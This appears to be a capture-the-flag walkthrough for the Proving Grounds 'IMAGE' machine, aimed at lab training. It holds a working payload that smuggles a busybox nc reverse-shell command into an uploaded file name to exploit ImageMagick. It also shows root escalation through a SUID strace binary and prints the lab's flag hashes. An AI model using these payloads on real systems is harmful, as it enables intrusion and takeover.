Summary #
On port 80 there is an application running called ImageMagick Identifier 6.9.6-4
. There’s an exploit available which we customize to get initial access as the www-data
user. There is a SUID bit set on the strace
binary that leads to privileges escalation to the root
user.
Specifications #
- Name: IMAGE
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux image 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 GNU/Linux
- IP address: 192.168.182.178
- OFFSEC provided credentials: None
- HASH:
local.txt
:1aa60a2558c32c1cee3a3a290fd14098
- HASH:
proof.txt
:fa07ecdd7d94fa42b9c01366fa41831a
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir image && cd image && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 18 18:23 .
drwxrwxr-x 33 kali kali 4096 Aug 18 18:23 ..
drwxrwxr-x 2 kali kali 4096 Aug 18 18:23 enum
drwxrwxr-x 2 kali kali 4096 Aug 18 18:23 exploits
drwxrwxr-x 2 kali kali 4096 Aug 18 18:23 files
drwxrwxr-x 2 kali kali 4096 Aug 18 18:23 tools
drwxrwxr-x 2 kali kali 4096 Aug 18 18:23 uploads
## set bash variable
ip=192.168.182.178
## ping target to check if it's online
ping $ip
PING 192.168.182.178 (192.168.182.178) 56(84) bytes of data.
64 bytes from 192.168.182.178: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.182.178: icmp_seq=2 ttl=61 time=18.1 ms
^C
--- 192.168.182.178 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.101/18.260/18.419/0.159 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.182.178:22
Open 192.168.182.178:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 18:24 CEST
Initiating Ping Scan at 18:24
Scanning 192.168.182.178 [4 ports]
Completed Ping Scan at 18:24, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:24
Completed Parallel DNS resolution of 1 host. at 18:24, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:24
Scanning 192.168.182.178 [2 ports]
Discovered open port 22/tcp on 192.168.182.178
Discovered open port 80/tcp on 192.168.182.178
Completed SYN Stealth Scan at 18:24, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.182.178
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-18 18:24:32 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier
On port 80 there’s an application called ImageMagick Identifier
. Once we upload a .jpg
file the application shows a version number : 6.9.6-4
.

Searching on the internet for an existing exploit for this version, we can find: https://github.com/ImageMagick/ImageMagick/issues/6339. To replicate the exploit, let’s create our own .jpg
file, setup a listener, upload our .jpg
and get initial access as the www-data
user in the /var/www/html
directory.
## make a `test.jpg` file
echo "test" > test.jpg
## rename `test.jpg` to this filename:
mv test.jpg '|hekk"`busybox nc 192.168.45.204 9001 -e sh`" .jpg'
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## after uploading/clicking on `Upload and Identify`, catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.182.178] 37398
## print the current user
whoami
www-data
## print current working directory
pwd
/var/www/html
## find `local.txt`
find / -iname 'local.txt' 2>/dev/null
/var/www/local.txt
## print `local.txt
cat /var/www/local.txt
1aa60a2558c32c1cee3a3a290fd14098
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@image:/var/www/html$ export TERM=xterm
www-data@image:/var/www/html$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@image:/var/www/html$ cd /var/tmp
www-data@image:/var/tmp$
## download `linpeas.sh`
www-data@image:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-18 17:16:28-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K 5.33MB/s in 0.2s
2025-08-18 17:16:28 (5.33 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
www-data@image:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@image:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows the strace
binary has the SUID bit set. Using GTFOBins (https://gtfobins.github.io/gtfobins/strace/#suid) we can escalate our privileges to the root
user.
www-data@image:/var/tmp$ strace -o /dev/null /bin/sh -p
#
## print current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
fa07ecdd7d94fa42b9c01366fa41831a
References #
[+]